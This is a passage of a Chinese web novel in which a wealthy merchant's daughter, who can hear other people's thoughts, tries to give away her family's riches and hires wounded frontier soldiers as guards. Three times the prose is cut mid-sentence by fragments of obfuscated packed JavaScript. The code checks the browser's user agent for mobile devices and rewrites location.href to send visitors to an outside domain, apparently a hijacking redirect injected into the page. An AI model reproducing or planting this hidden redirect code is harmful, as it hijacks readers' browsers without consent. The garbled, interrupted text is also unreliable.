两刻钟后，脑壳快被崔芙心声塞满江南各府青年才俊信息的沈宝珍，撒丫子跑进本该顾客稀少的梦溪堂。 “小姐，你可算来了。” 【哈哈哈嘿嘿，再不来，小老儿就要登门报喜了！】 无需沈宝珍开口，喜不自胜的掌柜朗声道：“小姐，梦溪堂扭亏为盈了！” 沈宝珍：！！！ “怎么可能？我都说了照吩咐做，你们擅自做主了？” “小的哪敢，一直是按小姐说的，点灯熬油到天明。”紧接着倒豆子般解释起来。 【说起来，还是小姐有远见，竟料想到秋闱将近，手头拮据的外来学子，巴不得有一处夜里能借光借宿的地儿。】 沈宝珍：别胡说！冤枉人！乱扣帽！ “夜里独一处亮着，引来想温书的学子，我们牢记小姐说的，来者是客，接待要谦和，哪怕对方提出想借宿，也没黑脸赶人。” “小姐找来的老葛、王来富他们，脑瓜子活泛，趁机提及用抄书、代笔、改编等换。” “一开始有些学子不乐意，说这样会耽误他们温书，但当抛出凡手抄一本，就可免费借阅一本后，一个个争着抢着参与。可借阅的手抄书越多，来抄书的学子越多，梦溪堂夜里灯火通明，人头攒动，热闹得不行。” “手抄书专门腾出个书架放，白日在门口立块牌子，写明压一两付一文，即可借阅一卷归家看一日，第二日还书退押金，延一日，则从押金里扣一文。相当于看一本书，只需要一文钱一天，进出梦溪堂的客人一天比一天多。” “和它相较，代笔都不算赚钱了，普通家书、诉讼状、契约、寿词等收费不一，金陵城不识字、不会写的百姓还挺多的，梦溪堂提供笔墨纸砚，学子负责写，所得五五分。” “想到小姐说的价格要订明，特地拟契签字画押了，这样，哪怕是执笔学子日后成了官老爷，也不用担心被找茬。” “还有就是改编，梦溪堂的话本子一向受欢迎，隔三差五有夫人、小姐差下人或亲自上门挑选。我们便想着将一些话本子改编，用到酒楼、茶肆说书，还有戏班子唱戏。” …… 掌柜连说带比划，极富感染力，崔芙听得津津有味。 沈宝珍单手支着额头：“盈利充作花红，依职等差次分赏。无需多言，照办。” “谢小姐！”掌柜激动拜谢，借机再表忠心，“小人必当肝脑涂地，与众管事伙计勠力同心，保梦溪堂长盛不衰！” “……”事与愿违，唉。沈宝珍挥了挥手。 待其退下，啪叽伏案，流年不利的感觉，得去百福寺拜拜了。 28. 爹爹娘亲别再赚了 “小姐，你怎么了？” “累了。”心累。 “奴婢扶你到榻上躺会？” “没用。” “小姐不希望梦溪堂赚钱？” “你怎么知道？”沈宝珍将脑袋一偏，看向她。 “奴婢猜的。” 【就差写在脸上了。】 沈宝珍面无表情再次转头，闭眼装死。 【难道是担心梦溪堂生意好转，前东家万氏来摘桃子？他们应该没这闲工夫。】 “小姐，万小姐定亲了。” “嗯…嗯？”沈宝珍惊觉不对。 “这次与万小姐定亲的男子，是广陵人氏。”崔芙又道。 【果然，小姐几乎没看那手札。早知道，当时解释几句好了，现在再提，像是在邀功。小姐已经待我足够好了，不能得寸进尺。】 手札？什么手札？ 噢，想起来了，和陈年账簿搁一块的那两本。 沈宝珍先是一愣，而后回神：“广陵？离得不远。” 【我的小姐，重点不是距离，是男方身份啊！】 【万曦、魏雅能走近，概因两家目标一致，那就是借姻亲攀附官宦。魏家能将魏雅远嫁京城，只为和太子搭上边，万家自然也做得出来。】 【是以，将被退亲了的万曦，许配给了两江总督府管家的侄子，以期借此攀附正二品大员，不得不说，这步棋走得挺妙，进可攻退可守。】 沈宝珍：？？？ “是不太远，万小姐也挺满意这门亲事。” “你怎么知道？”说的有鼻子有眼，难不成是真的？为什么自己一点风声都没收到？ “万小姐与兄长同游广陵，半道走散了，遇到地痞无赖，被两江总督老管家的侄儿英雄救美。” 【其兄为走仕途，都魔怔了。无亲无故，竟妄想以万曦名义在明月楼约见自己，此计落空后再施一计，也算是歪打正着。】 “行吧。”八成是真的了，沈宝珍轻叹。 “伍家小姐同一位姓关的秀才定亲了，也是他兄长的同窗，知根知底。据说，这位关秀才，秋闱有望中举。” 察觉到沈宝珍对小姐妹们的婚事一无所知，崔芙又丢出枚“炸弹”。 【可不是知根知底嘛，伍家早探清关秀才底细了。考秀才时，同老家孤女定亲，考举人时，同金陵商女定亲，以后考进士进殿试，不得尚公主？】 【坐享齐人之福，贪得无厌。】 被炸懵的沈宝珍：！！！为什么这事我也不知道？ 好哇，一个两个藏着掖着是吧？ 那她就当不知道。 省贺礼，哼哼。 【身有万贯家财，还需守财之权。金陵四大家族都想得挺长远的，沈家亦可效仿。比如说，资助寒门学子科举入仕，如此，他日这些人进入朝堂，总会念及香火情，庇佑沈家一二。】 沈宝珍疯狂摇头：不信。资助皇子抄家砍头，资助学子留个全尸？ “小姐你怎么了？”崔芙纳闷，怎么突然晃动脑袋。 “头疼。”要长脑子了。 “头疼？奴婢去请大夫。”说着，提起裙摆跑了出去。 诶别……你可是大家闺秀啊！ 根本来不及阻拦的沈宝珍，又趴了回去。 这下好了，真的头疼。 如她所料，刚回芳菲院，各司其职的丫鬟们就围上来嘘寒问暖。 没过多久，爹爹娘亲闻讯而至。 “乖宝怎么样？”沈福达和岑内琇问向流冬。 “应是酷暑难耐，心绪燥热所致，喝一盏冰酥酪可解。”诊出小姐压根无事的流冬，睁着眼睛说瞎话。 沈宝珍忙不迭点头。“对，再配一壶梅花茶。” “要不要加一份冰雪冷元子？”岑内琇故意道。 “要！”沈宝珍眨巴着眼睛。 岑内琇含笑不语，目光了然。 “我瞧着不像头疼，而是嘴馋。”沈福达假意板脸。 “什么都瞒不过爹爹娘亲。”沈宝珍吐舌。 “胡闹。”沈福达轻斥一声，语气柔和，终忍俊不禁。 “你啊。”岑内琇温柔轻叹，似风拂柳枝般。 挥退下人，沈宝珍取出先前就打算归还的那卷账簿。 “爹爹娘亲，我都知道了。” 两口子一脸懵。 知道什么了？ 难不成是……不不不！ 还是……住脑！ 沈宝珍变得神色恹恹：“爹爹娘亲苦心经营，我却败家挥霍。” “败家挥霍？我们挣钱，本就是给你花的。” “你娘说得对。再者，乖宝你并不是真想败家，对吧？” “爹爹怎么知道？”沈宝珍抬眸。 “我还知道，乖宝你这样做，是怕家里太富，招祸，噩梦成真。” “嗯，因为爹爹说，富可敌国了，要和天家结亲，我不想，我害怕。”沈宝珍不扭捏了。 “爹爹就是随口一说，你还当真了，你不乐意的事，爹爹肯定不做啊。况且，和天家结亲，哪里是你爹我想做就能成的？” “爹爹那么厉害，想做什么都会成功的。”沈宝珍嘟囔道。 沈福达当即乐开了花，没忍住朝岑内琇挑眉，无声炫耀。 岑内琇表示没眼看。“乖宝放心，你爹早就打消了这个念头。” “真的？”沈宝珍两眼放光。 “真的。” “娘亲就是定海神针，再大的事经您三言两句就云淡风轻。”沈宝珍欣喜地抱住岑内琇感叹。 又一个人被哄得晕头转向。“你呀，小小年纪，少操些心。” 沈宝珍认同地点点头，她无比怀念以前无忧无虑的日子。 是以，将所思所想同爹爹娘亲言明。 “匹夫无罪，怀璧其罪。梦里就是因为沈家富甲江南，才会沾染桩桩件件祸事，好在一切还来得及，家里的钱也足够用了，爹爹娘亲别再努力了。”说到最后一句，沈宝珍格外认真。 “额，这个，恐怕来不及了。” “什么来不及？” “我们沈家，早就富甲江南了，离富甲天下，应该也差不了多少。” 沈宝珍：？？？ 沈家不是四大家族出事后，方能在江南冒头，过了好几年，才成为晟朝首富？ 难不成是自己记岔了？ 不应该啊。 梦中细枝末节已记不真切，但关乎沈家生死存亡的大事，她想忘都不忘不掉。 见她震惊得说不出话来，夫妻俩连声安抚。 “富甲江南易，善终江南难，这个道理我们早就明白了，所以，一直在藏富守拙。将近九成生意，都记在别人名下，其中六成的分红，还是过了几道手的那种。” “外人不可能查到我们沈家，到底积累了多少财富。所谓的富甲江南，也只我们一家三口知晓而已，乖宝不用太担心。” “如果这个外人是官署？朝廷？皇家？” 夫妻俩咯噔了一下。 好像，也不是很保险。 不怕贼偷，就怕官惦记。 官字两张口，说你有就有。 双亲苦思之际，沈宝珍起身取出崔芙给的两本手札。 放她这只会积灰，给爹娘或可派上用场。 沈福达拿的是《江南百官录》。 翻页一看，瞳孔微缩，慌忙掩住。 环视左右，确无外人，低头再看。 不自觉咽了咽口水，难得紧张局促。 刚来的江宁知府，果然是周巡抚的人...... 岑内琇拿的是《江南俊彦集》。 总共十人，图文并茂。 无不是相貌堂堂、家风清正、为人坦荡之辈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877130|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看得人眼花缭乱。 “乖宝，这手札你打哪弄来的？”夫妻俩异口同声，默契互换后，齐齐倒抽一口凉气。 “爹爹娘亲，怎么了？” “这俩，价值千金。” “有价无市，千金难买。” “是芙蕖亲手写的画的。”沈宝珍与有荣焉。 “她？她亲手写的画的？怎么可能？这里头随便指一个人，都不是她一个小丫鬟能接触到的？” “对啊。” “额，这事说来话长，要不我长话短说？” “我和你娘有的是时间。”“我和你爹有的是时间。” “……” 等沈宝珍坦白完，轮到两口子无言以对了。 所以他们之前美滋滋个啥？ 敢情是从闺女口袋里捞钱，怪不得那么好挣。 “爹爹娘亲，我听得见。” “爹爹不是那个意思，你花了多少？爹爹给补双倍，哦不，十倍！” “娘亲当时就有点预感，除了我家乖宝这般心善，整个江南，甚至是整个大晟，怎么能找出第二个呢。” “娘亲，我记得你的原话是，这种傻子应该多来几个。”沈宝珍幽幽拆台。 知道当天晚上，她做梦梦见被一群人指着鼻子骂傻子，有多无助嘛？！ “你怎么这样？”沈福达帮腔。 “爹爹你的原话，唉，我就不说了。”她才不会承认太拗口，自己忘记了。 岑内琇白了他一眼：你也没比我好到哪里去。 沈福达心虚地摸了摸鼻子。“没有下次，放心放心。” “芙蕖的身份，爹爹娘亲保密。” “放心。” “天知地知，你知我们知。” “嗯！” “诶对了，乖宝你院里的莫声去哪了？”沈福达突然道。 【也派出去闷声干大事了？】 “出远门招募忠勇双全的护卫，我同你们说过。”沈宝珍答。 “是说过，可都过去三四个月了，怎么还没消息？”不会携款潜逃了吧？ 岑内琇同样想到这点。“乖宝你给了他多少银子？” “没给银子。” 闻言，夫妻俩松了口气。 紧接着，意识到不对劲。 乖宝可不是吝啬的主子。 果然，就听到她补上一句，给的是银票。 “银子太重，银票轻便。” 重？ 那得是给了多少？才会觉得银子重？ “乖宝你就不担心他卷钱跑路？” “不会。” “乖宝说不会，那肯定不会，兴许是路上耽搁了。” “若招来的护卫却有本事，还忠心耿耿，倒也值当。” “守疆固土的英雄好汉，就算腿足伤残，也差不到哪里去。”沈宝珍带着敬意。 守疆固土？ 腿足伤残？ 沈福达和岑内琇怀疑自己幻听了，莫声此去招募的护卫是伤退军士？ 难道，他曾是边关戍卒？ 夫妻俩刨根问底后，面面相觑。 其实，用不着跑那么远。 江南有水师、巡江兵、漕丁、乡勇，也能找着合适的。 罢了，闺女开心就好。 沈福达扯回原先话题。 “乖宝，我和你娘负责隐富示贫，你继续按你的想法来，双管齐下。” “我没想法。”沈宝珍在这方面的自信所剩无几。 “你之前就做得很好啊，散财避祸，解厄消灾。”总能带来意外之喜。 “想不想、做不做，都没关系，随你自己心意。” “要不，爹爹娘亲我们换换？”沈宝珍挣扎道。 “换？倒也不必。” “形势还没严峻到这份上。” “……” 29. 破相 翌日，百福寺。 没有爹娘那般乐观的沈宝珍，莫名想烧香拜佛求个心安。 沈宝珍来时，正临地藏经诵经法会尾声。 听到小沙弥说，法会功德常回向现世父母消灾延寿，沈宝珍当即捐满功德箱，又求了一支签文。 [随心而行天地宽， 惠及四方亲友安。 祸福相生本一体， 逢凶化吉福绵延。] 签文简单易懂，沈宝珍默念了一遍，将其与给爹娘求的两枚平安符一并放入荷包。 “小姐，我好像看到莫声师傅了。” 张武？怎么会？ “喏！”眼尖的沉夏，指着往寺外走的一众挺拔身影道。 嘶—— 难以辨认。 “你看花眼了吧？”流冬坦言。 “其中一人和莫声师傅一样，左脸有道明显刀疤。小姐，奴婢想跟上去瞧瞧。”沉夏跃跃欲试。 “当心点。” “是。”话音落，人已经到了十步开外。 另一边。 专门负责刺探军情的兵卒快速近前，沉声道： “我们被人跟踪了。” 为首的唐浩面色一凝。“跟踪？什么人？” 说话间，看向张武。 眼神仿佛在说：不会是你的仇家吧？ 张武无语望天。 肯定跟他没有关系。 百来号人进进出出，即便穿扮和平头百姓无异，走路姿势什么的还是容易暴露行伍出身，被人盯上，多么正常。 何况，一个个黑着脸、沉默寡言，压迫感满满。 说到底，还是将军的错。 忽悠重伤员养好身体再回去效命，实则扭头就用自己立的军功换得众人脱离军籍。 将养了个把月，又演了一出‘割袍断义’，把他们轰出城...... 人是自由了，心还留在边关。 这叫什么事啊？ 忠勇双全的护卫，现在只有‘勇’。 一入金陵地界，张武生怯。 便想着，将他们暂且安顿于温泉庄子后面的忝隐山，同小姐言明内情再行安排。 走着走着，听说寺庙里法会可以祈愿国土安宁、超度亡魂，想到边关战事、念及亡故同袍，奔赴忝隐山的脚步不约而同停了下来。 “是名女子，鬼鬼祟祟。” “女子？我去瞧瞧。”张武道。 刚转身走了几步，就听到熟悉的呼唤。 那名兵卒口中的可疑女子，竟是沉夏。 “莫声师傅，果然是你！”小姑娘有些激动。 “沉夏，你不应该时刻跟着……小姐来百福寺了？” 沉夏刚要应答，瞥见他身后站着闲杂人等，选择避而不谈。“你怎么会在这？他们又是谁？” “他们是我招募的护卫。” “小姐有说需要如此多护卫吗？”沉夏疑惑。 张武视线飘忽。“人多些，以便小姐挑选。” “想得真周到，我这就去告诉小姐这个好消息。”沉夏兴奋地跑开，张武紧跟其后。 被丢下的唐浩等人你看看我，我看看你，这么快就要见到雇主了？他们还没准备好，有点紧张是怎么回事？ 没一会，就见张武折返，神色古怪，像是突然有了心事。 唐浩眼皮抖了抖，生出不祥的预感。 其他人大气都不敢出，毕竟是素未谋面的救命恩人，拿人手短，吃人嘴软，不管对方说什么做什么，他们都会顺从。 “小姐说长途跋涉辛苦，让我等到庄子上休息几日，有什么需要找管事。” 唐浩等人：？怎么和想象中的不一样，我们好像不是来做客的吧？ * “小姐，他们很不寻常。”崔芙掀开帘子，看了眼策马护送她们一程的唐浩等人。 【列队行动、姿势挺拔、不怒自威，似是训练有素的军士。虽布衣在身，眉宇间的肃杀之气令人不敢逼视。】 “嗯？”好眼力。 “小姐，护卫宜精不宜多。”崔芙提醒。 【大晟朝虽未有哪条律令对商户雇佣护卫设限，但两江总督常态护卫也才50-100人，若沈家超出这个数，总归不妥。】 “嗯。”沈宝珍若有所思地看向她：“魏雅出嫁在即，你看着选出十人，随行护送至京城陈家。” “是。”崔芙应完，支支吾吾道：“小姐，奴婢有、有个不情之请。” “但说无妨。” “奴婢想一块北上……寻亲。”脑袋低垂，盯着鞋面。 “那就再选十人，护你周全。”就等着这话的沈宝珍，当即表态。 “小姐大恩大德，芙蕖此生不忘。”崔芙伏身。 “一辈子太久，平添负累，往后顾好自己就行。”沈宝珍摩挲着荷包，温声道。 崔芙瓮声应下，鼻头发酸。 * 将护卫预备役送抵温泉庄子，张武快马加鞭折返，于城门口追上沈宝珍一行人。 迈着沉重的步伐，踏进芳菲院。 “小姐。”张武的声音沙哑而低沉，目光始终盯着地面，不敢直视上首之人的眼睛。 【我辜负了小姐的信重。】 沈宝珍有些疑惑。 超额完成任务，明明是大功一件。 别说一百多个护卫，一千多个，沈家也养得起，只是得隐于暗处，所以才让他们到城外温泉庄子落脚。 “人都安顿好了？” “安顿好了。”张武的肩膀微微颤抖，不是因为害怕惩罚，而是为自己的过失感到羞愧。 “小的办事不力，请小姐责罚！”只见他单膝跪地，头深深低下。 “何出此言？” 张武没吭声，像是有什么顾忌。 “下去吧。”会意的沈宝珍，让一众支起耳朵的丫鬟离开。 “没有旁人，但说无妨。” “小的此行招募的一百七十八人，因亲眷还在北地，只能在沈家当三年护卫。”张武半遮半掩道。 “既是招募而来，本就是你情我愿，他们来去自由。惦念亲眷，人之常情，何错之有。” 三年，说长不长，说短不短。 对沈宝珍来说，只要能挺过明年春，就算不得什么大事。 旧的不去新的不来，又不是卖身为奴，还能强留不成。 “小姐。”张武喉咙发涩，膝行后退。 【我真该死！】 忽的，张武拔出佩刀划破面颊，血淋淋一道，与原先旧疤惊人对称。“小人有罪，留此疤以记大过。” “住手！”来不及阻止，沈宝珍顾不得追问其他，忙喊流冬入内，给他处理血肉翻飞的伤口。 近距离瞥见，沈宝珍瞳孔震颤。 浓稠的血腥气裹着铁锈味直冲鼻腔，眼前画面突然与噩梦场景重叠，她踉跄后退，视线边缘开始发黑，一阵天旋地转，无力瘫软。 “小姐！小姐！”丫鬟们低声惊呼，声音里带着哭腔。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882722|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不用上药，是我活该。”张武直挺挺跪在院里。 “要么不回来，一回来就发疯，吓到小姐还有理了？”沉夏丢下药，没好气道。 个把月师徒情分，自此，没了，哼。 “让他自个上药！”从内室出来的崔芙咬牙切齿。 “小姐怎么样？”张武忙问。 “呵。”崔芙冷哼。 “小姐醒了吗？”沉夏问。 “还没。”崔芙轻声答复，转而喝令张武：“你，去温泉庄子反省，约束好那群武夫。” 张武颔首，粗鲁敷上药离开。 内室。 待沈宝珍恢复意识，置身柔软的床榻，睁开眼正对上丫鬟们哭红的眸子。 “小姐！” “小姐醒了！” “老爷夫人还没回来，正要派人去寻。”知春说。 “不必，别惊着爹爹娘亲。” “是。” “小姐感觉怎么样，有没有哪里不舒服？”流冬问。 “我没事。” “小姐，奴婢斗胆赶莫声到温泉庄子反省去了，顺便看管那群人。他上了药。”崔芙道。 “嗯。” “小姐……” “好了，小姐需要静养，别挤在这里。”流冬提醒。 沈宝珍顺势闭上眼，她确实想要静一静。 张武到底做了什么，隐瞒了什么，用得着剺面自惩？ 他能藏着掖着，剩下一百多号人可不见得。 三日后，温泉庄子。 如约带崔芙前来挑随行护卫。 “你们，打哪来？”崔芙扫视一众后，脆声问。 “我们从北边来。”唐浩上前回话。 “北边？褪籍戍卒？” “是的。”唐浩面不改色。 “戍卒穷苦，军饷微薄，但有褪籍，除了役满，便是伤残。你们属哪一种？”看着年轻力壮、好胳膊好腿，不太符合这两项。 眼前一个个，不会是逃兵吧？ 要知道，按大晟朝律令，私役军士者按情节轻重处以杖刑、流放或充军。 可没有什么不知者无罪。 不行，她得仔仔细细检查下褪籍文书。 没等唐浩回话，被拦在外面的张武变得躁动。 “他们的事，我知道得一清二楚，放我进去吧。” “你是想再把小姐吓晕？”沉夏冷脸。 “我不是有意的。”张武垂首。 他动手前特地挪远了些，没想到，小姐会担心得走过来。 “我不是有意的。”青松翻了个白眼，阴阳怪气学舌。 吓晕小姐，他俩交情，也丢一边。 “虽是你自己的脸，动手前麻烦也考虑下别人感受好不好？你自己是看不到了，我们还没瞎。”本来就丑，现在更丑了。 “小姐吩咐，什么时候好了，什么时候回去。” “是没有疤痕的那种好，包括之前那道疤。” “别浪费流冬专门给你配的金疮药、祛疤膏。” “那得到什么时候？”张武瞪大了眼睛。 “三到六个月，谁知道呢。”沉夏比着手势。 “冬天，哦不，明年再见。”青松嬉笑。 张武只觉天塌了。 不能回去当差，怎么将功折过？ 还不如抽六十军棍，一了百了。 他再也不敢乱来了！ 另一边，唐浩等人的心声，随着崔芙的问话，源源不断传入沈宝珍耳中。 30. 凶了她，就不能凶我咯 【我们是平虏将军庞镇麾下的破虏军，因重伤难治，得以离关。】 【戍卒褪籍往往要半年之久，若非将军用能擢升的功劳换得恩典，我们怎么也不会有机会南下。】 【要不是莫声大哥用沈小姐给的银钱买来药材、带来大夫，或许，我们已经死了。】 【救命之恩，三年以报，是我们想当然了，害得莫声大哥难做，竟剺面自惩……】 【南边真好，生活安逸，到处欢声笑语，风里没有黄沙，水清甜甘洌，哪哪都比北地好。但是，我还是想回去，回到破虏关，将军他们都还在拼命，我怎么配享这份安宁。】 【外患不平，何以家为。边境什么时候才能像这里一样太平，军士和百姓都不用提心吊胆过日子？】 【朝中文官以边费浩繁为由，连年缩减军需粮草、御寒衣物、药材。年初连饷银都开始克扣了，待塞外草衰胡骑南下，破虏关怕是要遭。】 【月例不能要，聊以抵扣药钱，日后多立功挣赏银，攒住送去边关，起码能改善下伙食。】 …… 沈宝珍：原来不是记挂小家，而是大家。 等等，破虏军？破虏关？ 建兴二十二年末，破虏军覆没，破虏关失守。 建兴二十三年初，北边战火纷飞，南边水患成灾，国库入不敷出，为充盈，破例赐婚…… 不甚明了的梦境走向，犹如拨开云雾见天日般清晰。 既如此，改变破虏关恐失守的境地，就显得尤为重要。 直接送上粮草、药材、御寒衣物？ 不妥。 商户擅自资助，有“结交边将”、“图谋不轨”之嫌，还容易被扣上“僭越”的罪名。 那该怎么做？ 沈宝珍陷入沉思。 “小姐，小姐？”筛选出唐浩在内，不晕船的二十兵卒，崔芙绕到沈宝珍身侧唤道。 “嗯？” “请小姐过目。” 暂时没辙，先按原计划行事，沈宝珍扫视院子里站着的一个个：“诸位远道而来，愿为沈家护卫，自不会亏待，月例只多不少，概不拖欠，另予每人百两安家之资；此去护卫送亲船者，保其平安抵京，得赏千两。” 闻言，唐浩等人齐刷刷瞪大眼睛，不可置信。 “小、小姐说的可是真的？” 与此同时，心声此起彼伏。 【水土不服没睡好，出现幻觉了？我不信，除非现在就给，呜呜呜，好久没摸过银子了。】 【安家费，每人一百两，一百七十八号人，一万七千八百两，都够破虏军大半月粮草了。不可能是真的，果然，我还在做梦。】 【要是真发一百两安家费，二十两送家里，剩下八十两，兑成银票塞报平安的信里，保管将军乐得龇牙。】 【二十人赏千两，一个人就是五十两，砍了胡骑首级也才三十两。我现在适应行船还来得及吗？】 沈宝珍不语，抬手示意仆从打开银箱。 “娘嘞！我没有眼花吧？”眼尖的惊呼出声，意识到自己失态了，忙不迭捂住嘴。 知春上前半步，展开名册：“小姐从无虚言，现银在此，诸君依次画卯，即刻兑付。” 其余人下意识伸长脖子，看到几大箱白花花的银子后，忍不住咽口水。 这一幕，太有冲击性了。 待银锭到手，更是久久无法从‘天上掉馅饼’的喜悦中回神。 对沈家，也多了一分说不清道不明的归属感。 有人欢喜有人愁。 隔墙听着护卫们的欢腾劲，张武掩面目送沈宝珍离开。 “我得走了。”青松近前，将提着的包袱，塞到他手里。 突如其来的重量，压得张武两只胳膊往下坠。“什么东西？” “小姐给你的赏银。” 抓握有所察觉的张武：“赏银？给我的？” 他都没把差事办好，莽撞的举动更是把小姐吓晕过去，哪里值当赏了？ 何况，他还生出离意，如此不知好歹、忘恩负义。 “小姐说，招募他们这些护卫，你既有功劳也有苦劳。”言罢，青松撒丫子追上大部队。 张武愣愣站在原地，感觉手里的包袱沉甸甸。 回程路上，委屈巴巴求同乘的崔芙欲言又止。 闭目养神的沈宝珍启唇：“有话直说。”别瞎琢磨了。 “又让小姐为奴婢破费了。” 【小姐为我付出了太多，却不知道，我这样的人，根本不值当。】 “胡思乱想些什么乱七八糟的，银子又没到你手里，为的也是护送魏雅，你只是顺带。” 话落，静默。 沈宝珍睁开眼，便见崔芙垂着头，袖口蹭着眼尾，一副抹泪模样。 眼神询问知春，她的回应是缓缓别过脸。 仿佛在说，凶了她就不能凶我咯。 沈宝珍敛眸。 方才说话的语气，好似是重了些。 “咳咳，所以，月例提前支了，再给你发川资。” 崔芙哽咽着摇头：“奴婢受之有愧。” “又不是单给你一个人，日后知春她们要离开，也是一样有路费。” 知春：？？？ “小姐，奴婢不离开。” “聚散终有时。”就像崔芙、张武。 “小姐，奴婢绝不离开！” “嗯。沈宝珍心不在焉应。或许，也该让她们独当一面。 “小姐，奴婢发誓，宁死不离开。” “行行行。” 噗呲—— 崔芙破涕为笑。 呼呼—— 知春松了口气。 沈宝珍扶额，还是继续闭目养神吧。 两丫鬟下意识放轻呼吸，心理活动却没完没了。 耳根子不得清净的沈宝珍，摩挲着荷包，暗下决定，日后尽量骑马出行。 回去同爹爹娘亲说一声就学，马上学！ 两刻钟后，沈家。 刚要往朝晖居，管家告知双亲外出数日，附递隔壁宅子库房钥匙、账簿。 “这是什么？” “老爷允诺十倍补给小姐的银子。” 【连夜从各处钱庄取出来的，隔壁库房被塞得满满当当，也不知道老爷受什么刺激了，还让小姐可着劲花。】 爹爹过分！！！ 沈宝珍表示拒绝。 知春伸出的手一顿，接也不是，不接也不是。 “老爷吩咐，一定要交给小姐。”管家坚持。 视线下移扫到腰间挂着的荷包，想到签文，沈宝珍倏地抬眸，旋即颔首。 知春会意，双手接过。“小姐，要盘点吗？” “盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890663|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你们都去。” “我们？” “嗯。你、沉夏、抚秋、流冬、惜竹、宛梅、青松、徐力，随你们怎么分配，不把隔壁宅子的银子花光不准出现在我面前！ 不得以沈家名义，不得嫖赌，不得留在金陵。离开前，各在温泉庄子领五名护卫随行。” 知春：？？？ “奴婢没听明白。” 【小姐又梦魇了？怎么突然说胡话。】 “……不明白的地方抓紧问芙蕖、莫声，她俩是过来人，见多识广。” 崔芙：？？？ “小姐，奴婢也不明白。” 【奇怪，明明每个字都很简单，合起来，竟听不懂了。】 “花光就明白了，速速去办，别跟着我。” 闻言，知春和崔芙停下脚步，面面相觑。 半柱香后，老管家纳闷地看着儿子徐力领来的一帮人。 “你们怎得不在伺候小姐？” 徐力嗷地喊出声：“爹！小姐不要我们了。” “住嘴，小姐也是你能编排的？” “不是…爹…是真的，小姐她真的不想要我们了，让我们把隔壁库房里的银子都花完，否则不得出现在她面前，花到下辈子也花不完啊！” “小姐真是这么说的？”老管家锐利的目光，越过徐力，直视拿着账簿和钥匙的知春。 “是。”听到徐力如此解读的知春，只觉晴天霹雳，小姐好像确实是这个意思。 马车上提及她们日后离开，给发路费； 之前芙蕖拿回卖身契那日，也试图放她们自由； 突然在意她们是否有一技之长，绞尽脑汁让她们学…… 小姐，似乎在很久之前，就不想要她们了。 为什么？ 为什么？ 为什么？ 难道是她们太恃宠而骄，主意大，没个丫鬟样？ 还是她们明里暗里挤兑新来的几个，让小姐生厌？ 亦或是，察觉到她们对即将恢复自由身的芙蕖，疏离冷待？ …… 知春各种复盘，直到管家大声打断沉夏徐力等人的吵嚷。 “行了，容我找小姐问清楚。” “爹你快去！” 老管家：“……” 着急忙慌赶到芳菲院，向沈宝珍确认后，精神恍惚折返。 ——让她们可着劲花。 越想越觉得不可置信，但又有隐秘的窃喜，因为儿子徐力赫然在列，这是小姐对他的信重。 越是如此，越得慎重，经受住考验！ 打发走知春等人，管家语重心长叮嘱徐力好好表现。 “爹，我要怎么表现？铜板我闭着眼花，银子我悠着点花，银票我不敢花啊！” “没出息！” “你和娘打小就不准我乱花乱用，月例都不让过手，娶妻生子之后更是了，我摸过最多银子的时候，还是年初老爷亲自发的赏……”徐力嘟囔道。 “得，不会做总会听会看吧？去听去看她们怎么做，照学不误。” “姜还是老的辣！”徐力朝管家爹竖起大拇指，后者觉得脸火辣辣得疼。 管家这个职位，是不能指望儿子能接替了，培养大孙子，还有点子希望，自己少说能撑十年八年的。 求祖宗保佑！ 31. 不是，你们有病吧？ “芙蕖，你有什么主意吗？”知春开口求解。 崔芙略带思索后，缓缓道：“可以效仿小姐所做之事，比如：修河筑堤、资助医馆赠喝四时药汤、架桥铺路通渠挖陂塘……” 此言犹如醍醐灌顶，众丫鬟思路打开。 “江南各府都已经筹资修河筑堤了，架桥铺路通渠挖陂塘倒是可以。”知春认真道。 “四时汤药，防疫强身，耗费巨大，确实合适，我选这个。”流冬紧接着说。 “江宁知府的位置换了人坐，金陵的宸幼局、宸济院变得名副其实，金陵以外的地方就不一定了。小姐只说不能用沈家名义，没说不可以借夫人的啊，你们说，我以夫人的名义办善堂怎么样？就叫岑善堂。”抚秋说着，脑子里已经有了章程。 作为名存实亡宸幼局里活下来、爬起来的一员，她清楚知道孤寡的渴望与能量。 惜竹惊讶地看向她，随即道：“我赞同。但，以夫人的名义和以沈家的名义，有分别吗？我觉得不太妥。” 抚秋恍悟：“你提醒的对，是我考虑不周。岑，拆为山今，山今善堂怎么样？” “为什么不拆沈？”宛梅疑惑。 “水冘？明眼人都能猜出是沈了。” 